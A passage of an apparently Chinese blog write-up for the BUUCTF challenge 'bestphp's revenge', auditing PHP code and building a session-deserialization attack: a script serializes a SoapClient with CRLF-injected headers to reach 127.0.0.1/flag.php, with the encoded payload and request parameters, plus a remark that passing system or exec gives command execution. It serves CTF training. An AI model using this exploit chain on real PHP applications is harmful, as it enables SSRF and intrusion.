2.【BUUCTF】bestphp‘s revenge
进入题目页面如下

进行代码审计
<?php
// 1. 高亮显示当前PHP文件的源代码,方便开发者查看代码内容,在生产环境中不应使用此函数,可能会导致代码泄露。
highlight_file(__FILE__);// 2. 定义变量 $b ,其值为字符串 'implode' , implode 是PHP的一个内置函数,用于将数组元素连接成一个字符串。
$b = 'implode';// 3. 通过 call_user_func 函数调用用户通过GET请求传入的函数名( $_GET['f'] ),并将POST请求的数据作为参数传递给该函数。
// call_user_func 函数会尝试调用指定名称的函数,并将后面的参数传递给该函数。
// 这里存在安全风险,因为用户可以通过GET请求传入任意函数名,可能导致任意代码执行。
call_user_func($_GET['f'], $_POST);// 4. 启动一个新的会话或者恢复已有的会话,用于在多个页面之间存储和共享数据。
session_start();// 5. 检查是否通过GET请求传入了 'name' 参数。
if (isset($_GET['name'])) {// 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。$_SESSION['name'] = $_GET['name'];
}// 6. 使用 var_dump 函数输出会话变量 $_SESSION 的详细信息,包括变量的类型和值。
var_dump($_SESSION);// 7. 创建一个数组 $a ,数组的第一个元素是 $_SESSION 数组的第一个元素(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018' 。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');// 8. 使用 call_user_func 函数调用 $b 变量所代表的函数(即 implode 函数),将数组 $a 中的元素连接成一个字符串。
// 但这里没有对连接后的字符串进行处理,所以连接后的结果没有被使用。
call_user_func($b, $a);
?>
任意代码执行漏洞
call_user_func($_GET['f'], $_POST);
这行代码允许通过 GET 请求传入任意函数名,并且将 POST 请求的数据作为参数传递给该函数。传入一些危险的函数名,如 system 、 exec 等,就可以执行任意系统命令
或者利用 session 反序列化漏洞
扫描根目录

发现很多文件,查看

flag.php 文件提示,只有 127.0.0.1 请求
这里没思路了,看了大佬的博客才跟着做下去
链接附上,bestphp's revenge[详解] - NPFS - 博客园感谢大佬
用f传参,传入session_start
看到大佬说session是可控的,通过传入name值
序列化
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",'uri' => "http://127.0.0.1/"));$se = serialize($b);
echo "|".urlencode($se);//注意下,这个脚本想要执行,需要将php.ini里的 php_soap.dll 前面的分号去掉
结果
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
用burp suite抓包,传入

构造,传值f=extract&name=SoapClient
POST:b=call_user_func
SoapClient 是 PHP 中用于创建和管理 SOAP(Simple Object Access Protocol,简单对象访问协议)客户端的类。SOAP 是一种基于 XML 的协议,用于在不同的应用程序之间进行通信,通常用于 Web 服务的交互
SoapClient 类的构造函数有两个参数:
SoapClient::__construct([ string $wsdl [, array $options ]] )
$wsdl:- 类型:字符串。
- 描述:指定 WSDL(Web Services Description Language,Web 服务描述语言)文件的 URL。WSDL 文件是一个 XML 文件,它描述了 SOAP 服务的接口、方法、参数和返回值等信息。如果设置为
null,则需要在$options数组中手动指定服务的位置和命名空间。
$options:- 类型:数组。
- 描述:用于配置
SoapClient对象的选项,常见的选项如下:location:指定 SOAP 服务的实际 URL。uri:指定 SOAP 服务的命名空间。user_agent:指定 HTTP 请求头中的User-Agent字段。login和password:用于 HTTP 基本认证的用户名和密码
SoapClient 类的 __doRequest 方法是一个魔术方法
主要用于自定义 SOAP 请求的发送过程
__doRequest 方法允许你拦截并自定义 SoapClient 发送的 SOAP 请求以及处理接收到的响应。当 SoapClient 需要发送一个 SOAP 请求时,它会检查是否定义了 __doRequest 方法,如果定义了,就会调用该方法来完成实际的请求发送和响应接收操作,而不是使用默认的请求机制。这为开发者提供了更大的灵活性,可以对请求和响应进行自定义处理,例如添加额外的 HTTP 头、修改请求数据、记录日志等。
- 自定义请求头:在某些情况下,你可能需要在请求中添加自定义的 HTTP 头信息,如认证信息、自定义标识等。使用
__doRequest方法可以方便地在请求中添加这些头信息。 - 请求和响应的日志记录:为了调试或监控的目的,你可能需要记录所有发送的请求和接收到的响应。通过
__doRequest方法,可以在发送请求和接收响应时记录相关信息。 - 修改请求数据:有时候,你可能需要对 SOAP 请求数据进行修改,例如加密请求数据、添加额外的参数等。
__doRequest方法允许你在发送请求之前对请求数据进行修改。
相关文章:
2.【BUUCTF】bestphp‘s revenge
进入题目页面如下 进行代码审计 <?php // 1. 高亮显示当前PHP文件的源代码,方便开发者查看代码内容,在生产环境中不应使用此函数,可能会导致代码泄露。 highlight_file(__FILE__);// 2. 定义变量 $b ,其值为字符串 implode &…...
《刚刚问世》系列初窥篇-Java+Playwright自动化测试-23- 操作鼠标拖拽 - 番外篇(详细教程)
拉票 亲爱的小伙伴们或者童鞋们,喜欢宏哥文章的,请动动你们发财小手,给我投投票票 。 祝2025小伙伴们工作顺利,家庭和睦,心想事成,财源滚滚! 我的票还有7票,互票的朋友私信给我。 投…...
Netty源码解析之异步处理(二):盛赞Promise中的集合设计
前言 在阅读Netty源码的过程中,我越来越相信一句话:“Netty的源码非常好,质量极高,是Java中质量最高的开源项目之一”。如果认真研究,会有一种遍地黄金的感觉。 本篇文件我将记录一下鄙人在Promise的实现类DefaultPr…...
NetworkX布局算法:nx.spring_layout
诸神缄默不语-个人CSDN博文目录 官方文档:https://networkx.org/documentation/stable/reference/generated/networkx.drawing.layout.spring_layout.html 和nx.fruchterman_reingold_layout()等价。 这个函数主要是为了在可视化NetworkX图时设置节点分布布局的&…...
Navicat导入海量Excel数据到数据库(简易介绍)
目录 前言正文 前言 此处主要作为科普帖进行记录 原先Java处理海量数据的导入时,由于接口超时,数据处理不过来,后续转为Navicat Navicat 是一款功能强大的数据库管理工具,支持多种数据库系统(如 MySQL、PostgreSQL、…...
LeetCodehot100 力扣热题100 二叉树展开为链表
代码思路 目标: 将二叉树展平(flatten)为一个单链表。展平后的链表应该按照前序遍历的顺序排列节点,即: • 节点的左子树指针设置为 nullptr。 • 节点的右子树指针指向下一个节点。 代码注释及思路 class Solution…...
2.14学习总结
#include <stdio.h> #include <stdlib.h> #include <math.h>#define MAX_N 32767// 二分查找最接近目标值的元素 int binarySearch(int* arr, int left, int right, int target) {while (left < right) {int mid left (right - left) / 2;if (arr[mid] …...
在WPS中通过JavaScript宏(JSA)调用本地DeepSeek API优化文档教程
既然我们已经在本地部署了DeepSeek,肯定希望能够利用本地的模型对自己软件开发、办公文档进行优化使用,接下来就先在WPS中通过JavaScript宏(JSA)调用本地DeepSeek API优化文档的教程奉上。 前提: (1)已经部署好了DeepSeek,可以看我的文章:个人windows电脑上安装DeepSe…...
zola + github page,用 workflows 部署
之前的Zola都是本地build之后,再push到github上,这种方式很明显的弊端就是只能在本地编辑,而不能通过github编辑,再pull到本地,缺乏了灵活性。因此将zola用workflows来部署。 repo地址:https://github.com/…...
【科技革命】颠覆性力量与社会伦理的再平衡
目录 2025年科技革命:颠覆性力量与社会伦理的再平衡目录技术突破全景图认知智能的范式转移量子霸权实现路径生物编程技术革命能源结构重构工程 产业生态链重构医疗健康新范式教育系统智能进化金融基础设施变革制造范式革命 科技伦理与文明演进 2025年科技革命&#…...
UIView 与 CALayer 的联系和区别
今天说一下UIView 与 CALayer 一、UIView 和 CALayer 的关系 在 iOS 开发中,UIView 是用户界面的基础,它负责处理用户交互和绘制内容,而 CALayer 是 UIView 内部用于显示内容的核心图层(Layer)。每个 UIView 内部都有…...
Jenkins 新建配置 Freestyle project 任务 六
Jenkins 新建配置 Freestyle project 任务 六 一、新建任务 在 Jenkins 界面 点击 New Item 点击 Apply 点击 Save 回到任务主界面 二、General 点击左侧 Configure Description:任务描述 勾选 Discard old builds Discard old builds:控制何时…...
深入解析A2DP v1.4协议:蓝牙高质量音频传输的技术与实现
1. A2DP概述 A2DP(Advanced Audio Distribution Profile)是一种高质量音频流媒体协议,旨在实现高质量音频内容的分发,通常用于通过蓝牙设备传输音频数据,例如将音乐从便携式播放器传输到耳机或扬声器。与传统的蓝牙语…...
mybatis-plus逆向code generator pgsql实践
mybatis-plus逆向code generator pgsql实践 环境准备重要工具的版本供参考pom依赖待逆向的SQL 配置文件CodeGenerator配置类配置类说明 环境准备 重要工具的版本 jdk1.8.0_131springboot 2.7.6mybatis-plus 3.5.7pgsql 14.15 供参考pom依赖 <?xml version"1.0&quo…...
Android Studio:RxBus结合ICompositeSubscription使用
我现在想用 RxBus 来发布和订阅事件,同时使用 ICompositeSubscription 来管理订阅。跟前一个博客的区别在于,事件流的产生方式不同,更加得全面。 目标 使用 RxBus 发布事件。使用 ICompositeSubscription 来管理订阅。在 Activity 中创建订…...
微软AutoGen高级功能——Magentic-One
介绍 大家好,博主又来给大家分享知识了,这次给大家分享的内容是微软AutoGen框架的高级功能Magentic-One。那么它是用来做什么的或它又是什么功能呢,我们直接进入正题。 Magentic-One Magnetic-One是一个通用型多智能体系统,用于…...
redis cluster测试
集群节点信息这时候停掉一个master 172.30.60.31 从集群信息集中我们可以看到172.30.60.31的slave是172.30.60.41,查看41的日志,发现他成为了新的master 这时候我们在将172.30.60.41也杀死,会发现集群异常了 尝试把172.30.60.31启动ÿ…...
【ARM】JTAG接口介绍
1、 文档目标 对 JTAG 接口有更多的认识,在遇到关于 JTAG 接口问题时有一些排查的思路。 2、 问题场景 在使用调试器过程时,免不了要接触到 JTAG 接口,当出现连接不上时,就不知道从哪来进行排查。 3、软硬件环境 1 软件版本&am…...
处理项目中存在多个版本的jsqlparser依赖
异常提示 Correct the classpath of your application so that it contains a single, compatible version of net.sf.jsqlparser.statement.select.SelectExpressionIte实际问题 原因:项目中同时使用了 mybatis-plus 和 pagehelper,两者都用到了 jsqlpa…...
部署 DeepSeek R1各个版本所需硬件配置清单
DeepSeek-R1 通过其卓越的推理性能和灵活的训练机制,在 2025 年的春节期间受到了广泛关注。 DeepSeek-R1 是一款高性能的 AI 推理模型,主要通过强化学习技术来增强模型在复杂任务场景下的推理能力。 在本地部署 DeepSeek-R1 时,尤其是完整的…...
智慧树全自动刷课神器:Autovisor三步实现无人值守学习
智慧树全自动刷课神器:Autovisor三步实现无人值守学习 【免费下载链接】Autovisor 2025智慧树刷课脚本 基于Python Playwright的自动化程序 [有免安装版] 项目地址: https://gitcode.com/gh_mirrors/au/Autovisor 还在为智慧树网课而烦恼吗?每天需…...
Switch Transformers:稀疏激活MoE模型原理与工程实践指南
1. 项目概述:Switch Transformers 的革新与挑战最近在开源社区里,Switch Transformers 这个项目又火了一把。如果你关注过大规模语言模型,特别是像 GPT-3、T5 这类巨无霸,那你肯定知道它们的训练成本高得吓人,动辄需要…...
08:字符三角形
/*** 【题目名称】字符三角形<p>* 【题目来源】http://noi.openjudge.cn/ch0101/08/** author 潘磊,just_panleijust.edu.cn* version 1.0*/import java.util.Scanner;public class Main {public static void main(String[] args) {Scanner input new Scanne…...
革命性Redis客户端node-redis:现代高性能Node.js开发新范式
革命性Redis客户端node-redis:现代高性能Node.js开发新范式 【免费下载链接】node-redis Redis Node.js client 项目地址: https://gitcode.com/gh_mirrors/no/node-redis node-redis是一款现代高性能的Redis Node.js客户端,为开发者提供了与Redi…...
时差这个东西,熬的是命
做跨境代购的人,都知道时差的苦。客户在海外,你在中国。客户醒着的时候,你该睡了;客户睡了,你又醒了。为了不错过消息,手机永远不敢静音。凌晨三点被震醒是常态。一个月下来,黑眼圈比熊猫还重。…...
AI音乐生成实战:从开源项目部署到高级应用全解析
1. 项目概述:当AI音乐创作遇上开源社区 最近在GitHub上闲逛,发现了一个挺有意思的项目,叫“openclaw-genpark-music-creator”。光看这个名字,就能嗅到一股混合了技术极客与艺术创作的味道。作为一个在音乐科技和开源工具领域摸爬…...
Pydantic-Resolve:声明式数据组装解决N+1查询与API性能优化
1. 项目概述:用声明式思维解决嵌套数据组装难题如果你在开发后端API,尤其是需要聚合多个数据源的BFF(Backend for Frontend)层时,肯定遇到过这样的场景:前端需要一个包含用户详情、任务列表、评论等嵌套数据…...
高性能LLM推理引擎mistral.rs:从量化优化到多模态部署全解析
1. 项目概述:为什么我们需要另一个LLM推理引擎?如果你最近在折腾大语言模型(LLM)的本地部署和推理,大概率已经体验过Ollama、vLLM、LM Studio这些工具。它们各有优势,但痛点也很明显:要么配置繁…...
DevContainer开发容器启动器:一键搭建标准化开发环境
1. 项目概述:为什么我们需要一个“开发容器启动器”? 如果你和我一样,常年游走在不同的项目之间,或者需要频繁地为新项目搭建开发环境,那你一定对“环境配置”这件事深恶痛绝。从安装特定版本的编程语言运行时、数据库…...
从零开始写Qwen3(五-其四)FlashAttention 差异汇编分析
从零开始写Qwen3目录 概述 经过前文的提速,耗时已经从官方的214%降低到112%,本文将从汇编角度猜测一下差距的原因 概述 使用上一节的输入参数,设置为BMBN64,和torch相同,分析汇编指令 torch的指令统计如下 triton…...
